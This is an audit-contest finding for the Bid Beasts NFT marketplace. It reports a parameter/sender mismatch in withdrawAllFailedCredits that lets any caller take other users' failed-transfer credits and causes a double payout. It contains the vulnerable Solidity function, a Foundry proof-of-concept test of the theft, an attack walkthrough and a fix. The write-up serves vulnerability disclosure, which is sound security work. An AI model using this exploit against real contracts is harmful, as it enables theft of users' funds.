Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Parameter/Sender Mismatch in withdrawAllFailedCredits Enables Fund Theft and Double-Spend

radicalvirtuoso

Root + Impact

Description

  • The withdrawAllFailedCredits function is designed to allow users to withdraw ETH credits that failed to transfer during the normal payout process.

  • Users should only be able to withdraw their own failed credits, maintaining the integrity of the marketplace's accounting system.

  • However, the function contains a critical logic error: it uses the _receiver parameter to determine the withdrawal amount but then resets msg.sender's balance and sends the funds to msg.sender.

  • This vulnerability allows an attacker to:

    1. Pass any victim's address as _receiver parameter

    2. Withdraw the victim's credit balance to themselves

    3. Leave the victim's balance unchanged in the mapping

    4. Enable the victim to also withdraw the same credits (double-spend)

// Root cause in src/BidBeastsNFTMarketPlace.sol:238-246
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver]; // @> Gets _receiver's balance
require(amount > 0, "No credits to withdraw");
​
failedTransferCredits[msg.sender] = 0; // @> WRONG: Resets msg.sender's balance, not _receiver's!
​
(bool success, ) = payable(msg.sender).call{value: amount}(""); // @> Sends _receiver's credits to msg.sender
require(success, "Withdraw failed");
}

Risk

Likelihood:

  • The attack requires no special permissions, setup, or prerequisites beyond knowing addresses with credits

  • The attacker needs only to identify addresses with failed credits (often visible in transaction history)

  • The function is externally callable by any address at any time

Impact:

  • Direct theft of all failed transfer credits from any user in the system

  • Victim's balance remains unchanged in the contract, creating a double-spend vulnerability

  • Protocol becomes insolvent as liabilities exceed available funds

  • Complete breakdown of the failed credits accounting system

Proof of Concept

function testFailedCreditsTheftAndDoubleSpend() public {
// Setup: Give the marketplace contract ETH to pay out
vm.deal(address(marketplace), 20 ether);
​
// Setup: Create failed credits for victim
// In production, this would happen when an ETH transfer fails
address victim = address(0x1234);
address attacker = address(0x5678);
​
// Simulate failed credits for victim (storage manipulation for test)
// In reality, this happens when _payout() fails to send ETH
uint256 slot = 5; // failedTransferCredits mapping is at slot 5
bytes32 victimKey = bytes32(uint256(uint160(victim)));
bytes32 location = keccak256(abi.encodePacked(victimKey, bytes32(slot)));
vm.store(address(marketplace), location, bytes32(uint256(5 ether)));
​
// Verify victim has 5 ETH in failed credits
uint256 victimCreditsBefore = marketplace.failedTransferCredits(victim);
assertEq(victimCreditsBefore, 5 ether);
console.log("Victim's failed credits: ", victimCreditsBefore);
​
// ATTACK PHASE 1: Attacker steals victim's credits
uint256 attackerBalBefore = attacker.balance;
​
vm.prank(attacker);
marketplace.withdrawAllFailedCredits(victim); // Pass victim's address as parameter
​
// Verify attacker received the 5 ETH
uint256 attackerBalAfter = attacker.balance;
assertEq(attackerBalAfter - attackerBalBefore, 5 ether);
console.log("Attacker stole: ", attackerBalAfter - attackerBalBefore);
​
// CRITICAL BUG: Victim's credits are STILL there!
uint256 victimCreditsAfter = marketplace.failedTransferCredits(victim);
assertEq(victimCreditsAfter, 5 ether); // Should be 0, but it's not!
console.log("Victim still has credits: ", victimCreditsAfter);
​
// ATTACK PHASE 2: Double-spend - victim can still withdraw
vm.prank(victim);
marketplace.withdrawAllFailedCredits(victim);
​
// Victim also got 5 ETH - marketplace paid out 10 ETH for 5 ETH of credits!
assertEq(victim.balance, 5 ether);
console.log("Double-spend successful! Total extracted: 10 ETH from 5 ETH credits");
}

Attack Walkthrough:

  1. Victim has 5 ETH in failed credits (from a previous failed refund)

  2. Attacker calls withdrawAllFailedCredits(victimAddress)

  3. Contract reads victim's 5 ETH balance but resets attacker's balance (which was 0)

  4. Attacker receives 5 ETH they never owned

  5. Victim's balance remains at 5 ETH in the contract

  6. Victim can still withdraw their 5 ETH

  7. Marketplace loses 10 ETH total from only 5 ETH of legitimate credits

Recommended Mitigation

Explanation of the Mitigation:

Simplifies the function by removing the unnecessary parameter entirely. Users can only withdraw their own credits, eliminating any possibility of confusion or exploitation.


Remove the parameter
- function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
+ function withdrawAllFailedCredits() external {
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
​
failedTransferCredits[msg.sender] = 0;
​
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

cryptoghost Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.